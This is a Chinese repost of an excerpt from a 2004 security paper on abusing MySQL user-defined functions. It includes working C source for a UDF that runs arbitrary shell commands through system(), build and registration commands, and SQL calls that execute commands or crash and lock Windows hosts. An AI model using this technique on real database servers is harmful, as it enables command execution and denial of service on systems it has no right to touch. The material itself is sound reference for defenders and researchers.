开发者社区> 技术小美> 正文

Linux平台下 MYSQL用户自定义函数(UDF)的利用

简介:
+关注继续查看

 来源:http://hi.baidu.com/ylbhz

Linux平台下 MYSQL用户自定义函数(UDF)的利用

Chris Anley [chris@ngssoftware.com] 5th July 2004

根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数,简称udf

通过CREATE FUNCTION语句来实现这一机制,同时通过向’mysql.func’表录入信息来加载他们.

通常当MYSQL加载这些动态库时,该动态库文件路径必须能被MYSQL访问.

攻击者会滥用这一机制别有用心地创建一些“恶毒”的动态库文件并将它们通过SELECT … INTO OUTFILE语句写入可用的目录.当这些文件创建成功过后,攻击者通过insert向mysql.func表录入信息以配置MYSQL加载这些动态库文件和执行这些函数。

下面是一段相当简单的UDF链接库的代码 (请原谅他很简陋)(老外真有礼貌!):

#include <stdio.h>

#include <stdlib.h>

/*

compile with something like

gcc -g -c so_system.c

then

gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc

*/

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args

{

unsigned int arg_count; /* Number of arguments */

enum Item_result *arg_type; /* Pointer to item_results */

char **args; /* Pointer to argument */

unsigned long *lengths; /* Length of string arguments */

char *maybe_null; /* Set to 1 for all maybe_null args */

Page 18

} UDF_ARGS;

typedef struct st_udf_init

{

char maybe_null; /* 1 if function can return NULL */

unsigned int decimals; /* for real functions */

unsigned long max_length; /* For string functions */

char *ptr; /* free pointer for function data */

char const_item; /* 0 if result is independent of arguments */

} UDF_INIT;

int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

{

if( args->arg_count != 1 )

return 0;

system( args->args[0] );

return 0;

}

像这样添加函数:

mysql> create function do_system returns integer soname ‘so_system.so’;

Query OK, 0 rows affected (0.00 sec)

现在表mysql.func类似于这样,当然你也可以使用update来修改它。

mysql> select * from mysql.func;

+———–+—–+————–+———-+

| name | ret | dl | type |

+———–+—–+————–+———-+

| do_system | 2 | so_system.so | function |

+———–+—–+————–+———-+

1 row in set (0.00 sec)

调用函数:

mysql> select do_system(‘ls > /tmp/test.txt’);

+———————————+

| do_system(‘ls > /tmp/test.txt’) |

+———————————+

| -4665733612002344960 |

+———————————+

1 row in set (0.02 sec)

即便文件权限不允许我们在目标系统上建立自己的动态库文件,我们仍然有可能利用已经存在的函数来达成一些邪恶的意图。这给攻击者的困难是,函数的参数列表和MySQL UDF的函数原型不相符:

int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

。。。。。。尽管诡计多端的攻击者可能能够设计出通过调用系统已存在的动态库中可控制的弱点来执行任意代码,但仍然是困难的。

Page 19

当MySQL解析执行传递的参数时,仍然可能通过现存的动态库中的函数来做“坏”事的可能性。

举个例子来讲,通过在windows中将函数ExitProcess作为MYSQL UDF来进行调用, 这将立即导致退出,即使你在mysql中并没有shutdown的权限。

mysql> create function ExitProcess returns integer soname ‘kernel32′;

Query OK, 0 rows affected (0.17 sec)

mysql> select exitprocess();

ERROR 2013: Lost connection to MySQL server during query

你也能讲当前工作站的登录会话锁定(作用相当于ctrl + del alt):

mysql> create function LockWorkStation returns integer soname ‘user32′;

Query OK, 0 rows affected (0.00 sec)

mysql> select LockWorkStation();











本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/551065,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
阿里云ECS云服务器初始化设置教程方法
阿里云ECS云服务器初始化是指将云服务器系统恢复到最初状态的过程,阿里云的服务器初始化是通过更换系统盘来实现的,是免费的,阿里云百科网分享服务器初始化教程: 服务器初始化教程方法 本文的服务器初始化是指将ECS云服务器系统恢复到最初状态,服务器中的数据也会被清空,所以初始化之前一定要先备份好。
14306 0
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,阿里云优惠总结大概有三种登录方式: 登录到ECS云服务器控制台 在ECS云服务器控制台用户可以更改密码、更换系.
29847 0
[Hive]Hive自定义函数UDF
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/SunnyYoona/article/details/53244868 当Hive提供的内置函数无法满足你的业务处理需要时,此时就可以考虑使用用户自定义函数 用户自定义函数(user defined function),针对单条记录。
2687 0
阿里云服务器端口号设置
阿里云服务器初级使用者可能面临的问题之一. 使用tomcat或者其他服务器软件设置端口号后,比如 一些不是默认的, mysql的 3306, mssql的1433,有时候打不开网页, 原因是没有在ecs安全组去设置这个端口号. 解决: 点击ecs下网络和安全下的安全组 在弹出的安全组中,如果没有就新建安全组,然后点击配置规则 最后如上图点击添加...或快速创建.   have fun!  将编程看作是一门艺术,而不单单是个技术。
21048 0
SQL Server 自定义函数(Function)——参数默认值
原文:SQL Server 自定义函数(Function)——参数默认值 sql server 自定义函数分为三种类型:标量函数(Scalar Function)、内嵌表值函数(Inline Function)、多声明表值函数(Multi-Statement Function) 标量函数:标量函数是对单一值操作,返回单一值。
1285 0
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
23617 0
+关注
6819
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
JS零基础入门教程(上册)
立即下载
性能优化方法论
立即下载
手把手学习日志服务SLS,云启实验室实战指南
立即下载